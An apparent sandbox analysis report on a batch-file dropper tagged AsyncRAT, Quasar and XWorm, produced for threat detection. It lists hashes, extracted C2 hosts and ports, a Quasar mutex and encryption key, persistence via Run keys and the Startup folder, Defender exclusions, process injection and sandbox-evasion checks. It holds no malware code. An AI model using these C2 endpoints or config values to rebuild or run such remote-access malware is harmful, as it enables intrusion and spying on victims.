asyncrat | 99cee0b28ecb0e558fca04fb56c8b61abf7af751fbef519328c2da4f19fe9d93

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
02-07-2024 13:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Fanta_Is_Better_Than_Coke.bat
Size

811KB
MD5

add48f177d5e0a81fca63ca2c6e5c9e2
SHA1

5d43d5b761c889443d7b48dd962b9d20514edc5f
SHA256

99cee0b28ecb0e558fca04fb56c8b61abf7af751fbef519328c2da4f19fe9d93
SHA512

81ecd172e609eb80cf358b45cdd32cc7d1f6b8d8f62d3933f7a5be0b1a786e2eefeab8402f4f4e710b11d9d8dc8ddde44d59827bb4e63fb58b8acca4c14c8d33
SSDEEP

12288:zaaq6kVlGXfjTXAi9iLyLZRfRLK9Bx2WlKg86GcUJxH:zaaqjlgfnAZLUfKx24w

Score

10^/10

asyncrat quasar xworm default slave execution persistence rat spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

xworm

super-nearest.gl.at.ply.gg:17835

best-bird.gl.at.ply.gg:27196

wiz.bounceme.net:6000

Attributes

Install_directory
%ProgramData%

aes.plain

Extracted

Family

asyncrat

Botnet

Default

finally-grande.gl.at.ply.gg:25844

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

quasar

Version

3.1.5

Botnet

Slave

stop-largely.gl.at.ply.gg:27116

Mutex

$Sxr-kl1r656AGsPQksTmi8

Attributes

encryption_key
WyBm1iVkHZmEnGPMAZWV
install_name
$phantom.exe
log_directory
Logs
reconnect_delay
3000
startup_key
$phantomSTARTUP~MSF
subdirectory
$phantom

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Xworm Payload 7 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4808-16-0x000001E8470B0000-0x000001E84718E000-memory.dmp	family_xworm
behavioral1/memory/984-61-0x000001B4AB430000-0x000001B4AB448000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\7zip.exe	family_xworm
behavioral1/memory/2940-108-0x0000000000CE0000-0x0000000000CFA000-memory.dmp	family_xworm
behavioral1/memory/2940-1133-0x000000001C740000-0x000000001C74E000-memory.dmp	family_xworm
behavioral1/memory/3292-1175-0x0000000000780000-0x000000000079A000-memory.dmp	family_xworm
behavioral1/memory/1328-1280-0x0000000000970000-0x000000000098A000-memory.dmp	family_xworm

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4808-16-0x000001E8470B0000-0x000001E84718E000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\wininit.exe	family_quasar
behavioral1/memory/4972-112-0x0000000000FB0000-0x000000000101C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1124 created 632 1124 powershell.EXE winlogon.exe
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Async RAT payload 2 IoCs
rat

Processes:

resource yara_rule

behavioral1/memory/4808-16-0x000001E8470B0000-0x000001E84718E000-memory.dmp family_asyncrat
C:\Users\Admin\AppData\Local\Temp\conhost.exe family_asyncrat
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

43 984 powershell.exe
53 984 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

3296 powershell.exe
3312 powershell.exe
4116 powershell.exe
4504 powershell.exe
3432 powershell.exe
492 powershell.exe
2604 powershell.exe
984 powershell.exe
4808 powershell.exe
2156 powershell.exe

description	pid	process	target process
PID 1124 created 632	1124	powershell.EXE	winlogon.exe

resource	yara_rule
behavioral1/memory/4808-16-0x000001E8470B0000-0x000001E84718E000-memory.dmp	family_asyncrat
C:\Users\Admin\AppData\Local\Temp\conhost.exe	family_asyncrat

flow	pid	process
43	984	powershell.exe
53	984	powershell.exe

pid	process
3296	powershell.exe
3312	powershell.exe
4116	powershell.exe
4504	powershell.exe
3432	powershell.exe
492	powershell.exe
2604	powershell.exe
984	powershell.exe
4808	powershell.exe
2156	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe7zip.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation	7zip.exe

Drops startup file 2 IoCs

Processes:

7zip.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7zip.lnk	7zip.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7zip.lnk	7zip.exe

Executes dropped EXE 7 IoCs

Processes:

Windows PowerShell.execonhost.exe7zip.exeInstall.exewininit.exe7zip.exe7zip.exe

pid process

1868 Windows PowerShell.exe
960 conhost.exe
2940 7zip.exe
1060 Install.exe
4972 wininit.exe
3292 7zip.exe
1328 7zip.exe

pid	process
1868	Windows PowerShell.exe
960	conhost.exe
2940	7zip.exe
1060	Install.exe
4972	wininit.exe
3292	7zip.exe
1328	7zip.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

7zip.exepowershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7zip = "C:\\ProgramData\\7zip.exe"	7zip.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WINDOWSBIOS = "C:\\ProgramData\\WINDOWSBIOS .COM"	powershell.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

32 ip-api.com

flow	ioc
32	ip-api.com

Drops file in System32 directory 17 IoCs

Processes:

OfficeClickToRun.exepowershell.EXEsvchost.exesvchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\WINDOWSBIOS	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1124 set thread context of 3748 1124 powershell.EXE dllhost.exe
Drops file in Windows directory 1 IoCs

Processes:

TiWorker.exe

description ioc process

File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 1124 set thread context of 3748	1124	powershell.EXE	dllhost.exe

description	ioc	process
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exewmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exemousocoreworker.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe

Modifies data under HKEY_USERS 62 IoCs

Processes:

powershell.EXEOfficeClickToRun.exesvchost.exemousocoreworker.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={4499A2BC-FDCE-4452-95AC-75E1689B3487}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1719927684"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 02 Jul 2024 13:41:25 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe

Modifies registry class 64 IoCs

Processes:

RuntimeBroker.exepowershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59b318cd-7470-4f68	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59b318cd-7470-4f68 = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59b318cd-7470-4f68 = "\\\\?\\Volume{2497E243-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\df1e7f11e77005674f4e14cc10d350c1b2832f2b6307fe897a312c4aeb6ee720"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26742f30-709c-4486 = "0"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26742f30-709c-4486 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000001957f99a85ccda01ef787c9b85ccda01ef787c9b85ccda01f33604000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000e2583d6d2000663734353830656263303933373762643737643134336438393865313836353336353232366464386131306432646166383737316665336162613665636334320000b20009000400efbee2583d6de2583d6d2e0000000000000000000000000000000000000000000000000060c62201660037003400350038003000650062006300300039003300370037006200640037003700640031003400330064003800390038006500310038003600350033003600350032003200360064006400380061003100300064003200640061006600380037003700310066006500330061006200610036006500630063003400320000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000003a4b20b11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c66373435383065626330393337376264373764313433643839386531383635333635323236646438613130643264616638373731666533616261366563633432000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000706b76686d786b690000000000000000cc63c2b45e183445ac2460a9bcbeb268aeaebdff2628ef11b1ba424a43b6706fcc63c2b45e183445ac2460a9bcbeb268aeaebdff2628ef11b1ba424a43b6706fd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003100360039003400390039003700390031002d0033003500340035003200330031003800310033